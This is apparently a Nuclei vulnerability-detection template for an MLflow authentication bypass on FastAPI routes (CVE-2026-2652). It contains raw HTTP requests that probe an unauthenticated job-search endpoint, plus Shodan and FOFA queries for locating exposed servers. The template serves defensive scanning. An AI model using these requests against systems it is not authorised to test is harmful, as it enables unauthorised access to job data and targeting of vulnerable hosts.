id: CVE-2026-2652

info:
  name: MLflow < 3.10.0 - Authentication Bypass on FastAPI Routes
  author: DhiyaneshDk
  severity: high
  description: |
    A vulnerability in mlflow/mlflow versions 3.9.0 and earlier allows unauthenticated access to certain FastAPI routes when the server is started with authentication enabled (`--app-name basic-auth`) and served via uvicorn (ASGI). The FastAPI permission middleware only enforces authentication on `/gateway/` routes, leaving other routes such as the Job API (`/ajax-api/3.0/jobs/*`) and the OpenTelemetry trace ingestion API (`/v1/traces`) unprotected. This allows unauthenticated remote attackers to submit jobs, read job results, cancel running jobs, and inject arbitrary trace data into experiments. The issue arises from an architectural mismatch between Flask and FastAPI authentication mechanisms, where the `_find_fastapi_validator()` function fails to handle non-`/gateway/` paths, resulting in a complete authentication bypass. This vulnerability is fixed in version 3.10.0.
  impact: |
    An unauthenticated attacker can bypass authentication to access job management APIs and inject arbitrary trace data, potentially leading to data integrity compromise and unauthorized job execution.
  remediation: |
    Upgrade MLflow to version 3.10.0 or later.
  reference:
    - https://huntr.com/bounties/5aeff5f0-49c7-4180-b5cb-c9a046f16756
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2652
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 8.6
    cve-id: CVE-2026-2652
    epss-score: 0.0132
    epss-percentile: 0.67136
    cwe-id: CWE-306
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query: app="mlflow"
  tags: cve,cve2026,mlflow,auth-bypass,lfprojects,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/2.0/mlflow/experiments/list HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        POST /ajax-api/3.0/jobs/search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "\"jobs\":")
          - contains(content_type, 'application/json')
        condition: and
# digest: 4b0a00483046022100a4d5a8d2b172c730491b1239125dcb724861226379e9ad3e0d48e3a189960819022100b2e96ad17d3925b1a4733bbf0bfcd194e6158dea761c0ff0aacbc29018e5551d:922c64590222798bb761d5b6d8e72950